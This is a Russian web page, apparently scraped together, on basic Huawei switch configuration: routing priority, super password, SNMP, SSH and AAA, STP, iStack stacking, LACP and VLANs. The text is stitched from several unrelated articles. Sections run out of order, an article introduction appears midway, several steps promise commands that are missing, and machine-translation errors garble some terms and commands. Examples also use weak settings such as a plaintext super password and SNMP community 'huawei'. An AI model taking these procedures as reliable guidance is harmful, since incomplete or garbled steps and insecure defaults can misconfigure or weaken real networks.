и CE6850 имеют два статических маршрута, поле Pre – 60,</p><p>Pre представляет приоритет маршрутизации, чем меньше, тем лучше, маршрут будет сопоставлен первым;</p><p><strong>Приоритет протокола по умолчанию для маршрутизаторов Huawei следующий. </strong></p><p>Остальные соглашенияПротокол динамической маршрутизации,включают:</p><p>OSPF (протокол первого открытого кратчайшего пути)</p><p><strong>RIP (протокол информации о маршрутизации) </strong></p><p>IS-IS (протокол от промежуточной системы к промежуточной системе)</p><p>BGP (протокол пограничного шлюза)</p><h2><span id="i-7">Настроить супер-пароль устройства</span></h2><p>Супер пароль</p><p><strong>Когда полномочия пользователя низкие (например, при входе в систему через Telnet, уровень полномочий может быть определен как 0 или 1), в это время </strong></p><p>Вы можете использовать суперкоманду для повышения привилегий. Чтобы избежать вреда от незаконного повышения привилегий, его следует настроить</p><p>Супер пароль защищает.</p><p><strong>Установите супер-пароль для CE6800, пароль хранится в простом (открытый текст) режиме (эмулятор не поддерживает) </strong></p><p>[*CE6800]super password simple huawei</p><h2><span id="_hostname_ip">Настройка hostname и ip адреса</span></h2><p>Для смены hostname воспользуйтесь командой:</p><p>system-view [Quidway]interface vlanif1 [Quidway-vlanif1]ip address 172.20.0.47 21 [Quidway-vlanif1]quit</p><p><strong>Новый адрес применяется сразу, и в отличии от CISCO здесь не надо перезагружать интерфейс. </strong></p><h2><span id="_snmp">Настройка snmp</span></h2><p>У коммутаторов Huawei есть две особенности, о которых надо помнить, настраивая snmp. Во первых, если у вас включен snmp v3, то snmp v2c работать не будет. Во-вторых для snmp v2c при настройке на коммутаторе в консоле имя community надо указывать в кавычках, и в мониторилке (например Dude) оно тоже должно быть указано в кавычках (использовал двойные кавычки).</p><p>[Quidway]acl number 2100 [Quidway-acl-basic-2100]rule 1 permit source 172.20.0.33 0.0.0.0 // for one ip</p><p>[Quidway-acl-basic-2100] quit [Quidway]snmp-agent sys-info version v2c [Quidway]undo snmp-agent sys-info version v3 [Quidway]snmp-agent community read «huawei» acl 2100</p><p><strong>Опционально можно добавить контактные данные в snmp. </strong></p><p>[Quidway]snmp-agent sys-info contact X Division [Quidway]snmp-agent sys-info location Kremlin</p><h2><span id="_ssh___huawei_quidway">Настройка ssh сервера для удаленного доступа на huawei quidway</span></h2><p>Включаем SSH сервер.</p><pre>stelnet server enable</pre><p><strong>Настраиваем SSH сервер. Указываем пользователя, который может использовать SSH, задаем ему тип аутентификации (в нашем случае используется локальная аутентификация по паролю). Также, указываем типы сервисов, которые может использовать пользователь: ssh, sftp или оба (all).</strong></p><h2><span id="_stp">Настройка stp</span></h2><p>Для тестирование STP были соединены коммутаторы Cisco 2960 и HUAWEI Quidway S5328C-EI. Для включения STP на коммутаторе необходимо в режиме system-view ввести команду</p><p>По умолчанию, приоритет коммутатора HUAWEI, так же как и коммутатора Cisco равен 32768. Просмотр информации о текущем состоянии портов:</p><p>Видно, что один из портов заблокирован, т. к. приоритет коммутатора Cisco оказался больше. Просмотр глобальной информации об STP:</p><p><strong>Изменим приоритет коммутатора HUAWEI. Сделаем его наименьшим: 4096. </strong></p><p>Посмотрим, что порт разблокировался:</p><h2><span id="__huawei_quidway__ssh">Настройка ааа на huawei quidway для включения ssh</span></h2><p>Для включения SSH в Quidway прежде всего необходимо добавить и<br> настроить нового пользователя в разделе конфигурации ААА<br> (Authentication, Authorization, Accounting). Все настройки выполняются в<br> привилегированном режиме (вход в привилегированный режим осуществляется<br> командой system-view).</p><p>Приступаем к настройке ААА</p><pre>[Quidway]aaa</pre><p><strong>Настраиваем authentication-scheme, authorization-scheme,<br> accounting-scheme. Обычно, данные параметры заданы в конфигурации<br> коммутатора по умолчанию. </strong></p><pre>[Quidway-aaa]authentication-scheme default&lt;br&gt;[Quidway-aaa]authorization-scheme default&lt;br&gt;[Quidway-aaa]accounting-scheme default</pre><p>Настройки домена также оставляем без изменений</p><h2><span id="__vty">Настройка виртуального терминала vty</span></h2><p>Для завершения настройки удаленного доступа по SSH к Huawei Quidway, необходимо задать параметры аутентификации и протоколы доступа на виртуальных интерфейсах vty, используемых для управления коммутатором. В нашем случае настроим интерфейсы 0 — 4. Укажем параметры аутентификации ААА, чтобы поиск пользователя происходил в локальной базе пользователей, согласно настройкам, заданным в начале статьи. Входящим протоколом укажем ssh. Таким образом, мы исключим использование небезопасного протокола telnet.</p><h2><span id="_huawei">Настройка коммутаторов huawei</span></h2><p><strong>В последнее время много говорят об импортозамещении, санкциях и т.д. Всё это как-правило принимает чудные формы. Например, мы старательно «отказываемся» от западных товаров, в случае с ИТ инфраструктурой с оборудования Cisco переориентируемся на Huawei.</strong></p><p>В этом посте я расскажу, как ко мне попали на тестирование коммутаторы Huawei и что с ними удалось сделать. Для тестирования внедрения мне поступили коммутаторы Huawei S5700-28C-PWR-EI, Huawei S5352C-PWR-EI и Huawei S3352P-PWR-EI. Далее будет дан пример для Huawei S5700-28C-PWR-EI.</p><h2><span id="__huawei">Настройка сетевого оборудования компании huawei (коммутация, статическая маршрутизация)</span></h2><p>HUAWEI – одна из крупнейших китайских компаний в сфере телекоммуникаций. Основана в 1988 году.</p><p>Компания HUAWEI достаточно недавно вышла на российский рынок сетевого оборудования уровня Enterprise. С учётом тенденции тотальной экономии, на нашем предприятии очень остро встал вопрос о подборе достойной замены оборудованию Cisco. В статье я попытаюсь рассмотреть базовые аспекты настройки сервисов коммутации и маршрутизации оборудования HUAWEI на примере коммутатора Quidway серии 5300.</p><h2><span id="i-8">Настройка системного времени</span></h2><p><strong>По умолчанию устройства Huawei используют Coordinated Universal Time (UTC). Чтобы указать другой часовой пояс для устройства, выполните команду сlock timezone time-zone-name {add | minus} offset. Вы можете назвать часовой пояс в параметре time-zone-name и указать, является ли смещение часового пояса к UTC положительным (add offset) или отрицательным (minus offset).</strong></p><pre class="prettyprint"> [Huawei-AR-01] clock timezone BJ add 08:00 </pre><p>После установки часового пояса выполните команду clock datetime HH:MM: SS YYYY-MM-DD для установки времени и даты. Параметр HH:MM:SS задает время в 24-часовом формате, а YYYY-MM-DD-дату. (Устройства Huawei поддерживают только 24-часовой формат.)</p><pre class="prettyprint"> [Huawei-AR-01] clock datetime 18:30:00 2021-03-10 </pre><h2><span id="_istack">Настройка стекирования (istack)</span></h2><p>После получения доступа к коммутаторам, при необходимости можно настроить стек.  Для объединения нескольких коммутаторов в одно логическое устройство в Huawei CE используется технология iStack. Топология стека — кольцо, т.е. на каждом коммутаторе рекомендуется использовать минимум 2 порта. Количество портов зависит от желаемой скорости взаимодействия коммутаторов в стеке.</p><p><strong>Желательно при стекировании задействовать аплинки, скорость которых обычно выше, чем у портов для подключения конечных устройств. Таким образом, можно получить большую пропускную способность при помощи меньшего количества портов. Также, для большинства моделей есть ограничения по использованию гигабитных портов для стекирования. Рекомендуется использовать минимум 10G порты.</strong></p><p>Есть два варианта настройки, которые немного отличаются в последовательности шагов:</p><ol><li><p>Предварительная настройка коммутаторов с последующим их физическим соединением.</p></li><li><p>Сначала установка и подключение коммутаторов между собой, потом их настройка для работы в стеке.</p></li></ol><p>Последовательность действий для этих вариантов выглядит следующим образом:</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/f7c/06c/621/f7c06c6218c2b8dc534a57c09f038c79.png" alt="Последовательность действий для двух вариантов стекирования коммутаторов" title="Последовательность действий для двух вариантов стекирования коммутаторов" height="753" data-src="https://habrastorage.org/getpro/habr/upload_files/f7c/06c/621/f7c06c6218c2b8dc534a57c09f038c79.png" data-width="764"><figcaption>Последовательность действий для двух вариантов стекирования коммутаторов</figcaption></figure><p>Рассмотрим второй (более длительный) вариант настройки стека. Для этого нужно выполнить следующие действия:</p><ol><li><p>Планируем работы с учётом вероятного простоя. Составляем последовательность действий.</p></li><li><p>Осуществляем монтаж и кабельное подключение коммутаторов.</p></li><li><p>Настраиваем базовые параметры стека для master-коммутатора:</p><p><code>[~HUAWEI] stack</code></p></li></ol><details class="spoiler"><summary>3.1. Настраиваем нужные нам параметры</summary></details><details class="spoiler"><summary>3.2 Настраиваем интерфейс порта стекирования (пример)</summary></details><div style="clear:both; margin-top:0em; margin-bottom:1em;"><a href="https://huaweidevices.ru/novosti/obzor-onor-band-6-dostoynogo-fitnes-brasleta-s-paroy-dosadnyk-bagov-layfkaker" target="_blank" rel="nofollow" class="u2f913d79603c6035acb42d8a12ee5a97"><style>.u2f913d79603c6035acb42d8a12ee5a97 { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#ECF0F1; border:0!important; border-left:4px solid #E74C3C!important; text-decoration:none; } .u2f913d79603c6035acb42d8a12ee5a97:active, .u2f913d79603c6035acb42d8a12ee5a97:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .u2f913d79603c6035acb42d8a12ee5a97 { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .u2f913d79603c6035acb42d8a12ee5a97 .ctaText { font-weight:bold; color:#2980B9; text-decoration:none; font-size: 16px; } .u2f913d79603c6035acb42d8a12ee5a97 .postTitle { color:#C0392B; text-decoration: underline!important; font-size: 16px; } .u2f913d79603c6035acb42d8a12ee5a97:hover .postTitle { text-decoration: underline!important; }</style><div style="padding-left:1em; padding-right:1em;"><span class="ctaText">Больше про Хуавей:</span>&nbsp; <span class="postTitle">Обзор HONOR Band 6 — достойного фитнес-браслета с парой досадных багов - Лайфхакер</span></div></a></div><p><strong>Далее, нужно сохранить конфигурацию и перезагрузить коммутатор: </strong></p> <details class="spoiler"><summary>4. Выключаем порты для стекирования на master-коммутаторе (пример)</summary><p><span>[~SwitchA]</span><span><span> interface stack-port 1/1</span></span><span><br>[*SwitchA-Stack-Port1/1] </span><span><span>shutdown</span></span><span><br>[*SwitchA-Stack-Port1/1] </span><span><span>commit</span></span></p> </details><details class="spoiler"><summary>5. Настраиваем второй коммутатор в стэке по аналогии с первым:</summary><p><huawei><span><span>system-view</span></span><span><br>[~HUAWEI] sysname</span><span><span> SwitchB</span></span><span><br>[*HUAWEI]</span><span><span> commit</span></span><span><br>[~SwitchB] </span><span><span>stack</span></span><span><br>[~SwitchB-stack] </span><span><span>stack member 1 priority 120</span></span><span><br>[*SwitchB-stack] </span><span><span>stack member 1 domain 10</span></span><span><br>[*SwitchB-stack] </span><span><span>stack member 1 renumber 2 inherit-config</span></span><span><br>Warning: The stack configuration of member ID 1 will be inherited to member ID 2<br>after the device resets. Continue? [Y/N]:</span><span><span> y</span></span><span><br>[*SwitchB-stack] </span><span><span>quit</span></span><span><br>[*SwitchB]</span><span><span> commit </span></span></huawei></p> </details><p>Настраиваем порты для стекирования. Обратите внимание, что несмотря на то, что была введена команда “stack member 1 renumber 2 inherit-config”, member-id в конфигурации используется со значением “1” для SwitchB. </p><p>Так происходит, потому что member-id коммутатора будет изменён только после перезагрузки и до неё коммутатор по-прежнему имеет member-id, равный 1. Параметр “inherit-config” как раз нужен для того, чтобы после перезагрузки коммутатора все настройки стека сохранились для member 2, которым и будет коммутатор, т.к. его member ID был изменён со значения 1 на значение 2.</p><p>[~SwitchB] interface stack-port 1/1[*SwitchB-Stack-Port1/1] port member-group interface 10ge 1/0/1 to 1/0/4Warning: After the configuration is complete,1.</p><p><strong>The interface(s) (10GE1/0/1-1/0/4) will be converted to stackmode and be configured with the port crc-statistics trigger error-down command if the configuration doesnot exist.2.The interface(s) may go Error-Down (crc-statistics) because there is no shutdown configuration on theinterfaces.Continue? [Y/N]: y[*SwitchB-Stack-Port1/1] commit[~SwitchB-Stack-Port1/1] return</strong></p> <details class="spoiler"><summary>Перезагружаем SwitchB</summary><p><span><switchb></switchb></span><span><span> save </span></span><span><br>Warning: The current configuration will be written to the device. Continue? [Y/N]: </span><span><span>y</span></span><span><br><switchb></switchb></span><span><span> reboot</span></span><span><br>Warning: The system will reboot. Continue? [Y/N]: </span><span><span>y</span></span></p> </details><p>6. Включаем порты стекирования на master-коммутаторе. Важно успеть включить порты до завершения перезагрузки коммутатора B, т.к. если включить их после, коммутатор B снова уйдёт в перезагрузку.</p><p>[~SwitchA] interface stack-port 1/1[~SwitchA-Stack-Port1/1] undo shutdown[*SwitchA-Stack-Port1/1] commit[~SwitchA-Stack-Port1/1] return</p><p>7. Проверяем работу стека командой “display stack”</p> <details class="spoiler"><summary>Пример вывода команды после правильной настройки</summary></details><p>8. Сохраняем конфигурацию стека командой “save”. Настройка завершена.</p><p><strong>Подробную информация про iStack и пример настройки iStack можно также посмотреть на сайте Huawei. </strong></p><h2><span id="i-9">Настройте метод аутентификации входа в консоль и период ожидания</span></h2><p>Вход в консоль: Вход в консоль по умолчанию не имеет пароля, любой проходитПоследовательная линияНепосредственно подключен к интерфейсу консоли устройства, может напрямую изменять конфигурацию, администратор может настроить пароль консоли, для входа не требуется имя пользователя, используйте консоль для первой настройки;</p><p>сверхурочная работа: После подключения к устройству, если в течение некоторого времени не выполняются никакие операции, система автоматически выйдет из системы и потребуется снова войти в систему. Время ожидания по умолчанию составляет 10 минут;</p><p><strong>Войдите в режим настройки консоли </strong></p><h2><span id="i-10">Нотносительная нумерация</span></h2><p>Формат нумерации – тип пользовательского интерфейса номер. Как правило, устройство имеет один консольный порт (некоторые устройства могут иметь больше) и 15 пользовательских интерфейсов VTY (5 пользовательских интерфейсов VTY включены по умолчанию).</p><h2><span id="i-11">Первое подключение</span></h2><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/ea3/243/8a5/ea32438a5b73b13336d956254dd691e8.png" alt="Подключение к коммутатору через консольный интерфейс" title="Подключение к коммутатору через консольный интерфейс" height="277" data-src="https://habrastorage.org/getpro/habr/upload_files/ea3/243/8a5/ea32438a5b73b13336d956254dd691e8.png" data-width="558"><figcaption>Подключение к коммутатору через консольный интерфейс</figcaption></figure><p>По умолчанию коммутаторы Huawei поставляются без предварительных настроек. Без конфигурационного файла в памяти коммутатора, при включении запускается протокол ZTP (Zero Touch Provisioning). Не будем подробно описывать данный механизм, отметим лишь, что он удобен при работе с большим числом устройств или для осуществления настройки удалённо. Обзор ZTP можно посмотреть на сайте производителя.</p><p>Для первичной настройки без использования ZTP необходимо консольное подключение.</p> <details class="spoiler"><summary>Параметры подключения (вполне стандартные)</summary><p><span>Transmission rate: 9600<br>Data bit (B): 8<br>Parity bit: None<br>Stop bit (S): 1<br>Flow control mode: None</span></p> </details><p><strong>После подключения Вы увидите просьбу задать пароль для консольного подключения. </strong></p> <details class="spoiler"><summary>Задаем пароль для консольного подключения</summary><p><span>An initial password is required for the first login via the console.<br>Continue to set it? [Y/N]: </span><span><span>y<br></span></span><span>Set a password and keep it safe!<br>Otherwise you will not be able to login via the console.<br>Please configure the login password (8-16) <br>Enter Password: <br>Confirm Password:</span></p> </details><p>Просто задайте пароль, подтвердите его и готово! Изменить пароль и прочие параметры аутентификации на консольном порту далее можно с помощью следующих команд:</p><h2><span id="i-12">Первый вход в коммутатор с помощью веб – системы</span></h2><p>Шаг 1. Для начала нужно выполнить подключение устройства к ПК. В этом случае коммутатор сам сможет перейти в режим, который отвечает за начальную конфигурацию. При этом компьютер можно подключить к любому интерфейсу Ethernet. Для этого используются сетевые кабеля. Но исключением будет интерфейс управления ETH.</p><p><span><img loading="lazy" src="https://huaweigid.ru/wp-content/uploads/2021/01/kommyt-1.jpg" alt="Сложно ли настраивать устройства Huawei? Часть 2. Коммутаторы. : Black Box" width="795" height="524"></span>Далее нужно нажать и удерживать в течение нескольких секунд кнопку MODE.<span><img loading="lazy" src="https://huaweigid.ru/wp-content/uploads/2021/01/s5700-28t.jpg" alt="Сложно ли настраивать устройства Huawei? Часть 2. Коммутаторы. : Black Box" width="1319" height="193"></span>Затем устройство переходит в режим начальной конфигурации, об этом сообщают зеленые индикаторы. Vlanift устройство использует предустановленный IP – адрес – 192.168.1.253/24.</p><p><strong>Шаг 2. Далее необходимо указать IP – адрес, находящийся в одном сегменте с предустановленным IP — адресом устройства. Например, 192.168.1.254/24. </strong></p><h2><span id="i-13">Подключение к консоли коммутатора</span></h2><p>Т.к. в моем ультрабуке нет ни Ethernet порта, ни тем более COM порта я использовал свой адаптер QinHeng Electronics HL-340 USB-Serial adapter (Device 005: ID 1a86:7523). Радует он меня тем, что при подключении по USB сразу даёт вирутуальный COM-порт и не требует никаких драйверов ни под Windows, ни под Linux.</p><p>Для подключения использую gtkterm</p><p>Configuration -> Port: Port: /dev/ttyUSB0 Baud rate: 9600 Parity: none Bits: 8 Stop bits: 1 Flow control: none</p><p>После первого подключения возника проблема с тем, что оооочен сильно тормозила консоль. Потом выяснилось, что всемы виной консольный COM -> RJ45 кабель. Заменили его на Cisco-вский, и всё завелось.</p><h2><span id="i-14">Пример конфигурации агрегации портов</span></h2><p><strong>Схема топологии выглядит следующим образом: </strong></p><p>GE1 / 0/1 – GE1 / 0/3 CE6850 напрямую подключены к GE1 / 0/1 – GE1 / 0/3 CE12808 на противоположном конце, и три канала используются как агрегация каналов (канал);</p><p>Конфигурация CE6850 выглядит следующим образом:</p><p>[~ CE6850] interface Eth-Trunk 1 Войдите в режим подконфигурации Eth-Trunk,</p><p>[* CE6850-Eth-Trunk1] mode lacp-dynamic выбор динамического режима lacp</p><p>[*CE6850-Eth-Trunk1]lacp max active-linknumber 1                                          </p><p>[*CE6850-Eth-Trunk1]least active-linknumber 1                                              </p><p>[*CE6850-Eth-Trunk1]trunkport GE 1/0/0</p><p>[*CE6850-Eth-Trunk1]trunkport GE 1/0/1</p><p>[* CE6850-Eth-Trunk1] trunkport GE 1/0/2 Добавьте три порта в Eth-Trunk 1</p><p>[* CE6850-Eth-Trunk1] commit Зафиксировать конфигурацию</p><p>Конфигурация CE12808 такая же, как у CE6850;</p><p><strong>Просмотр конфигурации Eth-Trunk 1 </strong></p><p>Три провода устройств на обоих концах образуют агрегацию каналов, а логический интерфейс – Eth-Trunk 1.</p><h2><span id="i-15">Проверка подлинности ааа</span></h2><p>Этот режим требует правильного сочетания имени пользователя и пароля. Использование комбинации имени пользователя и пароля повышает безопасность по сравнению с проверкой подлинности паролем. Кроме того, пользователи дифференцированы и не влияют друг на друга во время проверки подлинности. Проверка подлинности AAA обычно используется для входа по Telnet из-за ее повышенной безопасности.</p><h2><span id="_lacp">Протокол lacp</span></h2><p><strong>LACP, основанный на стандарте IEEE802.3ax. LACP (Link Aggregation Control Protocol, Link Aggregation Control Protocol) – это протокол для динамического объединения каналов. Протокол LACP использует LACPDU (Link Aggregation Control Protocol Data Unit, Link Aggregation Control Protocol Data Unit).Блок данных протокола) И противоположный конецИнтерактивная информация。</strong></p><p>Статическая агрегация LACP настраивается пользователем вручную, и системе не разрешено автоматически добавлять или удалять порты в группе агрегации. Группа агрегации должна содержать хотя бы один порт. Когда в группе агрегации только один порт, этот порт можно удалить из группы агрегации только путем удаления группы агрегации.</p><p>Протокол LACP порта статической агрегации включен. Когда статическая группа агрегации удаляется, ее порты-члены будут формировать одну или несколько динамических агрегаций LACP и поддерживать LACP включенным. Пользователям запрещено закрывать протокол LACP статического порта агрегации.</p><p>Динамическое агрегирование LACP – это агрегирование, которое система автоматически создает или удаляет. Добавление и удаление портов в группе динамического агрегирования выполняется протоколом автоматически. Только порты с одинаковой скоростью и дуплексными свойствами, подключенные к одному устройству и с одинаковой базовой конфигурацией, могут быть динамически агрегированы.</p><h2><span id="i-16">Режимы работы портов</span></h2><p><strong>Собственно, ничего нового. Существуют два основных режима работы порта: access и trunk. Режим trunk Настройка порта: </strong></p><p>В отличие от коммутаторов Cisco, по-умолчанию, все vlan запрещены и их необходимо принудительно разрешить командой port trunk allow-pass vlan. Нетэггированный native vlan на порту включается командой:</p><h2><span id="_ssh__quidway">Смена порта ssh сервера на quidway</span></h2><p>Изменение порта, на котором SSH сервер на Quidway будет принимать запросы, осуществляется очень просто. Кроме 22, можно задать любой порт из диапазона 1025-55535. При этом, данный порт не должен использоваться другими приложениями.</p><pre>[Quidway]ssh server port ?&lt;br&gt;INTEGER&lt;22,1025-55535&gt; Set the port number, the default value is 22</pre><h2><span id="_vlan">Создание vlan</span></h2><p>Для создания vlan как сущности, на коммутаторе в режиме system-view выполняется команда vlan XXX, где XXX – номер vlan.</p><p><strong>Vlan создан. Так же командой description можно задать описание или название vlan. В отличие от Cisco имя не является обязательным атрибутом при создании vlan. </strong></p><p>Для передачи созданых vlan в пределах локальной сети используется протокол GVRP. Включается он командой gvrp в режиме system-view.</p><p>Так же gvrp должен быть разрешён на интерфейсе:</p><p>Совместимости с Cisco VTP (vlan transfer protocol) нет и быть не может.</p><h2><span id="i-17">Сохранить и просмотреть конфигурацию</span></h2><p><strong>Сохраните всю информацию о конфигурации, отправьте и сохраните </strong></p><p>[~CE6800]commit</p><p>Просмотреть все сохраненные конфигурации</p><p>[*CE6800]display saved-configuration</p><p><strong>Просмотреть все текущие конфигурации </strong></p><p>[*CE6800]display current-configuration</p><h2><span id="i-18">Статическая маршрутизация</span></h2><p>Статические маршруты прописываются точно так же, как на оборудовании Cisco:</p><p>Просмотр таблицы маршрутизации:</p><p><strong>На этом всё. Если уважаемое сообщество заинтересуется материалом, планирую продолжить освещать настройку оборудования HUAWEI. В следующей статье рассмотрим настройку динамической маршрутизации. </strong></p><p><iframe loading="lazy" title="Настройка VLAN на эмуляторе Huawei" width="840" height="473" src="https://www.youtube.com/embed/UIAYQXRCSUc?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p><p>источник</p><div class="flat_pm_end"></div><div class="wp_rp_wrap wp_rp_vertical" id="wp_rp_first"><div class="wp_rp_content"><h3 class="related_post_title"><span id="__Huawei">Узнайте больше о Huawei</span></h3><ul class="related_post wp_rp"><li data-position="0" data-poid="in-47539" data-post-type="none"><a href="https://huaweidevices.ru/obzori/nastroyka-protokola-ospf-na-oborudovanii-iso-i-uaei-kabr" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2022/05/5e4565-150x150.jpg" alt="Настройка протокола OSPF на оборудовании Cisco и HUAWEI / Хабр" width="150" height="150"></a><a href="https://huaweidevices.ru/obzori/nastroyka-protokola-ospf-na-oborudovanii-iso-i-uaei-kabr" class="wp_rp_title">Настройка протокола OSPF на оборудовании Cisco и HUAWEI / Хабр</a></li><li data-position="1" data-poid="in-41845" data-post-type="none"><a href="https://huaweidevices.ru/obzori/ustanovka-indos-10-64-na-uaei-matebook-d-14-indos" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2022/03/huawei-matebook-d14-1024x768-150x150.jpg" alt="Установка Windows 10 64 на HUAWEI MateBook D 14 — Windows" width="150" height="150"></a><a href="https://huaweidevices.ru/obzori/ustanovka-indos-10-64-na-uaei-matebook-d-14-indos" class="wp_rp_title">Установка Windows 10 64 на HUAWEI MateBook D 14 — Windows</a></li><li data-position="2" data-poid="in-23695" data-post-type="none"><a href="https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/kom999-150x150.jpg" alt="Справочник команд базовой конфигурации коммутатора Huawei — Русские Блоги" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/spravocnik-komand-bazovoy-konfiguratsii-kommutatora-uaei-russkie-blogi" class="wp_rp_title">Справочник команд базовой конфигурации коммутатора Huawei — Русские Блоги</a></li><li data-position="3" data-poid="in-36398" data-post-type="none"><a href="https://huaweidevices.ru/novosti/bakupim-uaei-netork" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/ea35d290389737bad419236e65f6b950-150x150.png" alt="Backup’им huawei | net.work" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/bakupim-uaei-netork" class="wp_rp_title">Backup’им huawei | net.work</a></li><li data-position="4" data-poid="in-13593" data-post-type="none"><a href="https://huaweidevices.ru/novosti/onsole-guide-bazovaya-nastroyka-kommutatorov-i-marsrutizatorov-uaei" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/45258505-150x150.jpg" alt="Console Guide: Базовая настройка коммутаторов и маршрутизаторов Huawei" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/onsole-guide-bazovaya-nastroyka-kommutatorov-i-marsrutizatorov-uaei" class="wp_rp_title">Console Guide: Базовая настройка коммутаторов и маршрутизаторов Huawei</a></li><li data-position="5" data-poid="in-28752" data-post-type="none"><a href="https://huaweidevices.ru/novosti/konfiguratsiya-kommutatora-uaei-russkie-blogi" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/kom999-150x150.jpg" alt="Конфигурация коммутатора Huawei — Русские Блоги" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/konfiguratsiya-kommutatora-uaei-russkie-blogi" class="wp_rp_title">Конфигурация коммутатора Huawei — Русские Блоги</a></li><li data-position="6" data-poid="in-22323" data-post-type="none"><a href="https://huaweidevices.ru/novosti/kommutatory-serii-uaei-s2300-zagruzka-veb-stranitsy-vkoda-russkie-blogi" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/System-Network-150x150.png" alt="Коммутаторы серии Huawei S2300: загрузка веб-страницы входа — Русские Блоги" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/kommutatory-serii-uaei-s2300-zagruzka-veb-stranitsy-vkoda-russkie-blogi" class="wp_rp_title">Коммутаторы серии Huawei S2300: загрузка веб-страницы входа — Русские Блоги</a></li><li data-position="7" data-poid="in-12662" data-post-type="none"><a href="https://huaweidevices.ru/novosti/svodka-komand-nastroyki-kommutatora-uaei-russkie-blogi" class="wp_rp_thumbnail"><img src="https://huaweidevices.ru/wp-content/uploads/2021/11/192109_O-150x150.png" alt="Сводка команд настройки коммутатора Huawei — Русские Блоги" width="150" height="150"></a><a href="https://huaweidevices.ru/novosti/svodka-komand-nastroyki-kommutatora-uaei-russkie-blogi" class="wp_rp_title">Сводка команд настройки коммутатора Huawei — Русские Блоги</a></li></ul></div></div></div><footer class="entry-footer"><div class="entry-tags clearfix"> <span class="meta-tags"> <a href="https://huaweidevices.ru/tag/rukovodstvo-po-ustanovke-simuljatora-huawei-ensp" rel="tag">[Руководство по установке симулятора Huawei eNSP]</a><a href="https://huaweidevices.ru/tag/russkie-blogi" rel="tag">Русские Блоги</a> </span></div><nav class="navigation post-navigation" aria-label="Записи"><h2 class="screen-reader-text">Навигация по записям</h2><div class="nav-links"><div class="nav-previous"><a href="https://huaweidevices.ru/novosti/pdf-fayl-na-telefone-kak-otkryt-dokumenty-v-pdf-na-androyd-ustroystvakh" rel="prev"><span class="screen-reader-text">Previous Post:</span>ПДФ файл на телефоне: как открыть документы в pdf на андройд-устройствах —</a></div><div class="nav-next"><a href="https://huaweidevices.ru/novosti/kak-podklyuchit-khuavey-i-khonor-k-televizoru-sposoby-podklyucheniya-telefona-i-plansheta" rel="next"><span class="screen-reader-text">Next Post:</span>Как подключить Хуавей и Хонор к телевизору: способы подключения телефона и планшета</a></div></div></nav></footer></article><div id="post-ratings-21258" class="post-ratings" itemscope itemtype="http://schema.org/Article" data-nonce="a85eae133b"><img id="rating_21258_1" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_off.gif" alt="1 Звезда" title="1 Звезда" onmouseover="current_rating(21258, 1, '1 Звезда');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_21258_2" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_off.gif" alt="слабовато" title="слабовато" onmouseover="current_rating(21258, 2, 'слабовато');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_21258_3" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_off.gif" alt="на троечку" title="на троечку" onmouseover="current_rating(21258, 3, 'на троечку');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_21258_4" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_off.gif" alt="хорошо!" title="хорошо!" onmouseover="current_rating(21258, 4, 'хорошо!');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/><img id="rating_21258_5" src="https://huaweidevices.ru/wp-content/plugins/wp-postratings/images/stars/rating_off.gif" alt="просто отлично!" title="просто отлично!" onmouseover="current_rating(21258, 5, 'просто отлично!');" onmouseout="ratings_off(0, 0, 0);" onclick="rate_post();" onkeypress="rate_post();" style="cursor: pointer; border: 0px;"/> (Пока оценок нет)<br/><span class="post-ratings-text" id="ratings_21258_text"></span><meta itemprop="name" content="[Руководство по установке симулятора Huawei eNSP] &#8212; Русские Блоги"/><meta itemprop="headline" content="[Руководство по установке симулятора Huawei eNSP] &#8212; Русские Блоги"/><meta itemprop="description" content="Базовые команды huawei s5600, s5300, s5700 и другие полезности для начинающихВ моём примере файл конфигурации совпал с текущей конфигурацией и мне сразу предложили перезагрузить, но если файл был из..."/><meta itemprop="datePublished" content="2021-11-14T05:51:23+03:00"/><meta itemprop="dateModified" content="2021-11-14T05:51:23+03:00"/><meta itemprop="url" content="https://huaweidevices.ru/novosti/rukovodstvo-po-ustanovke-simulyatora-uaei-ensp-russkie-blogi"/><meta itemprop="author" content="newavtomaster"/><meta itemprop="mainEntityOfPage" content="https://huaweidevices.ru/novosti/rukovodstvo-po-ustanovke-simulyatora-uaei-ensp-russkie-blogi"/><div style="display: none;" itemprop="image" 